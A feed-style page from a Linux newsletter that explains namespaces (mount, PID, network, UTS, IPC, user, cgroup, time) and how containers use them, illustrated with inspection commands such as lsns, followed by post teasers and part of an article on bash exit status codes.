To confirm, list all PID namespaces again:

$ sudo lsns -t pid

The host namespace (4026531836) and the container’s namespace (4026532196) coexist, the container simply lives inside its own isolated process world.

Containers are, in the end, just Linux processes running inside their own set of namespaces, PID, mount, network, user, and others.

They’re not special or separate from the host kernel, they simply have their own views of system resources.

And that’s exactly what we’ll explore in the next part of this series.

Looking Ahead

In this part, we explored how PID namespaces isolate process IDs, creating separate “worlds” where each namespace has its own process tree and its own PID 1.

You’ve seen how this mechanism forms the foundation of process isolation in containers, and how tools like unshare and nsenter give you direct control and visibility into that hierarchy.

In the next part of this series, we’ll take a closer look at how containers are actually just Linux processes, and use real examples to see how the host perceives and manages them.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Subscribe now

Every process can see the same list of running programs, share the same network interfaces, and access the same filesystem hierarchy. If you open two terminals and run ps aux, both will display an identical process list because, at the kernel level, there’s only one global view of what’s happening.

But imagine you could split this system into several small “worlds,” each with its own view of processes, network, and files. In one world, a process might think it’s the only program running on the machine. In another, the hostname might be entirely different. Yet all of these worlds still share the same underlying kernel.

That’s exactly what Linux namespaces make possible.

Namespaces provide isolation at the process level, letting you control what a process can see or interact with in the system. Instead of creating an entirely separate virtual machine, the kernel simply gives processes their own private views of certain resources, like their own network stack, their own list of running processes, or even their own filesystem mounts.

This idea of controlled isolation forms the backbone of modern container technologies. When you start a Docker container, for example, you’re not creating a new operating system. You’re launching one or more regular Linux processes, but each of them runs inside a collection of namespaces that hide parts of the system from view.

This series will break down Linux namespaces and show how each one isolates a specific part of the system.

Along the way, you’ll see how these namespaces come together to form the foundation of modern container technology.

Each part will focus on a different namespace type , explaining how it works, how to experiment with it using standard Linux tools, and how those same mechanisms are used by containers behind the scenes.

In this first article, we’ll start with the basics: understanding what namespaces are, why they exist, and how to view them on a running system.

The Idea of Isolation in Linux

Linux was designed as a multi-user operating system. This means many users can run programs at the same time, often competing for the same resources, CPU, memory, files, and devices. While permissions control who can access something, they don’t always control how much or how isolated that access should be.

For example, every process on a system can normally see all other processes:

$ ps aux

If one process crashes or consumes too much memory, it could affect the rest of the system. That’s where isolation comes in, limiting what each process can see or influence.

Before namespaces existed, administrators used tools like chroot to isolate filesystems or ulimit to restrict resources. These were helpful, but they only covered specific aspects of isolation. Namespaces took the idea much further by letting the kernel isolate different kinds of system resources, not just files.

You can think of namespaces as a set of invisible containers around system resources. Each container defines what a process can “see”, whether that’s a process list, a network interface, or even the system clock.

This approach differs from virtualization. Virtual machines emulate an entire hardware environment and run their own kernel, while namespaces isolate resources within the same kernel. As a result, namespaces are lightweight and efficient, making them ideal for building container-like environments.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

The Building Blocks of Containers

If you’ve used Docker, Podman, or LXC, you’ve already worked with namespaces, even if you didn’t notice it.

When you start a container, Linux doesn’t create a new operating system. Instead, it uses namespaces to isolate specific system resources for the container’s processes.

Inside a namespace, processes operate as if they have their own environment: their own process tree, network stack, and hostname.

From the host’s perspective, though, these are still ordinary processes managed by the same kernel, only their view of the system is limited.

Here’s is how I like to visualize it:

The kernel is like a theater stage, and each namespace is a separate play happening on that same stage. Every actor thinks their story is the only one, but the stage crew (the kernel) manages them all behind the scenes.

This ability to isolate processes without spinning up full virtual machines is what makes containers so lightweight. Each container runs as a regular Linux process, but with boundaries that limit what it can access or observe. The combination of namespaces (for isolation) and control groups (for resource limits) forms the foundation of modern containerization.

We’ll focus on namespaces throughout this series, exploring how they isolate different parts of the system and how you can interact with them directly from the command line, no container engine required.

The Types of Namespaces

Now that you have the big picture, let’s look at what Linux can actually isolate.

As of today, the Linux kernel supports eight different namespaces, each responsible for separating a specific part of the system.

Each namespace type creates its own isolated “view” of a resource. Processes inside that namespace only see what belongs to it, not the global system. Together, they let the kernel build virtual environments that behave like independent systems, all while sharing the same underlying OS.

Let’s briefly walk through each one.

Mount (mnt)

The mount namespace is the oldest of all. It isolates the filesystem hierarchy, giving each process its own view of mounted filesystems.

Any time you use the mount or umount command, you’re effectively interacting with this namespace.

With mount namespaces, a process can have its own private filesystem layout. You can mount or unmount directories inside that environment without affecting what’s visible to the host.

Before mount namespaces existed, administrators used chroot to change a process’s apparent root directory, a trick that limited what it could access, but without true isolation.

Mount namespaces take that concept further by giving each process an entirely separate set of mount points, not just a different starting directory.

That’s why container environments rely on mount namespaces rather than chroot: they provide stronger, kernel-enforced filesystem isolation and greater flexibility in defining what each process can see.

PID (pid)

The PID namespace isolates process IDs.

Each namespace has its own numbering system for processes, starting at PID 1, which acts like its own init process.

Processes in one PID namespace can’t see or interact with those outside of it.

This is what gives containers their own independent process trees. It also allows commands like kill to send signals only within the same namespace.

Behind the scenes, PID namespaces are hierarchical the parent namespace can still see all the processes inside the child namespace, but not the other way around.

Network (net)

The network namespace provides isolation for everything related to networking, interfaces, routing tables, port numbers, ARP caches, and firewall rules.

Each network namespace gets its own virtual network stack, complete with its own IP addresses and devices.

You can think of this as giving each container its own miniature network environment.

Docker, for example, connects containers by creating virtual Ethernet pairs (veth) and bridges between namespaces.

That’s how multiple containers can each run web servers on port 80 or 443 without conflicting.

UTS (uts)

UTS stands for UNIX Time-Sharing, and this namespace controls system identifiers, the hostname and domain name.

It lets each isolated environment appear to be a different machine.

When you change the hostname inside a container, it only affects that container’s UTS namespace.

This small but powerful feature makes each container feel like its own system, even though they all share the same kernel.

IPC (ipc)

The IPC namespace (Inter-Process Communication) isolates communication channels such as System V message queues, semaphores, and shared memory segments.

This prevents processes in different namespaces from accidentally reading or modifying each other’s messages.

It’s a security-focused namespace that dates back to UNIX System V.

Each IPC namespace maintains its own identifiers and POSIX message queue filesystem, ensuring one container’s internal communications remain private.

User (user)

The user namespace isolates user and group ID numbers.

Inside a user namespace, a process can appear to run as root even though it’s mapped to a non-privileged user on the host.

This allows for powerful yet safe privilege separation, a cornerstone of container security.

User namespaces can also be nested, meaning an unprivileged user in one namespace can create another one and become “root” inside it.

While this brings flexibility, it also raises some security considerations if not properly controlled.

Cgroup (cgroup)

The cgroup namespace hides and isolates the control group hierarchy from processes.

Cgroups (control groups) are used by containers like Docker and LXC to limit, measure, and isolate resource usage, CPU, memory, I/O, and more.

Before this namespace existed, processes could see cgroup information from other containers, leading to potential information leakage.

Now, each namespace has its own virtual view of cgroups, so processes can only see and manage their own resource quotas.

Time (time)

The time namespace is one of the newest additions to Linux.

It isolates system clocks such as the boot time and monotonic clock, allowing each namespace to maintain its own time offsets.

This means a container can adjust its own clock without affecting the host, useful for testing, simulations, or restoring snapshot environments where time shouldn’t jump forward.

It’s also what allows containers to run their own time synchronization processes, like ntpd, independently.

Together, these eight namespaces form for what has become the backbone of Linux’s process isolation model.

Each can be used individually, but when combined, as in most container environments, they create lightweight, secure, and flexible virtual systems that behave like independent machines.

In the upcoming parts of this series, we’ll explore each of these namespaces in action: how to create them, how to peek inside, and how to connect them to real-world container behavior.

Namespaces in Action – A Quick Peek

Before diving deeper into each namespace, let’s see what namespaces already exist on your system.

Even without Docker or containers, your Linux system uses namespaces all the time. Every process is part of one or more namespaces.

You can view them using the lsns (short for list namespaces) command, which comes with the util-linux package:

$ lsns

Each row represents a namespace, identified by its unique NS number.

The TYPE column tells you which resource it isolates, while NPROCS shows how many processes are currently using that namespace.

The PID column points to the process that created it.

You can also inspect namespaces for a specific process by looking under /proc/[PID]/ns:

$ ls -l /proc/1921/ns

Each symbolic link in that directory corresponds to one namespace type.

For example, /proc/1921/ns/net points to the network namespace used by the systemd process.

In the next parts of the series, we’ll use similar experiments to explore each namespace type in depth, from process isolation to network segmentation, filesystem views, and more.

Looking Ahead

What we’ve seen so far is that namespaces don’t create new machines, they reshape how processes see the system. Every container, sandbox, or lightweight virtual environment you’ll ever use relies on this core concept.

In the upcoming parts of this series, we’ll walk through each namespace one at a time.

You’ll learn what it isolates, how to create it manually, and what real-world scenarios it’s used in.

Here’s a quick preview of what’s coming:

• PID Namespace – Discover how Linux builds isolated process trees and why every container has its own PID 1.

• Network Namespace – Create isolated networks, connect them with virtual interfaces, and understand how Docker wires them together.

• Mount Namespace – Explore how filesystem views can differ across isolated processes and more.

In the next part, we’ll begin with PID namespaces, where you’ll see how Linux creates separate process worlds, each with its own “init” process and process list, so stay tuned.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Subscribe now

$ (pwd; ls)

You’ve just created a subshell, a new child shell that runs your commands in isolation from the parent. Subshells are one of those shell concepts that quietly do a lot behind the scenes in B…

Read more

A process might appear to use hundreds of megabytes of memory, yet in reality, a …

Read more

When you mount a file system, you’re essentially linking it to a specific directory so you can access its contents. Unmounting, on the other …

Read more

Here we learn about the differences between Sudo and Su and how to us…

Read more

In this article we will go over the built-in bash exit command as well as the exit status codes of the commands that have been executed.

BONUS

Stay tuned until the end of this guide for something special: a free copy of my Bash Scripting Handbook.

Exit Status Code

When a shell command exits, whether successfully without any errors or unsuccessfully with errors, it returns an exit code.

An exit code of zero indicates that the command was completed properly without any errors, while a non-zero indicates that an error occurred.

The $? is a special shell variable that stores the exit status of the most recently run command:

cat manifesto.txt

echo $?

# output

A Gentle reminder, I use Arch BTW!

0

Because the cat command was completed successfully and without error, the exit code is zero, as expected.

If you attempt to run cat command on a not-existing file, the exit code will be non-zero as shown below:

cat no-file

echo $?

# output

cat: no-file: No such file or directory

1

As expected, the exist status code is non-zero.

The exit status code of a command can be used for debugging and determining the reason for its failure. The man pages for each command provide information about the exit codes. When chaining commands using pipes, the exit status code is that of the last command in the chain.

Read more

Read more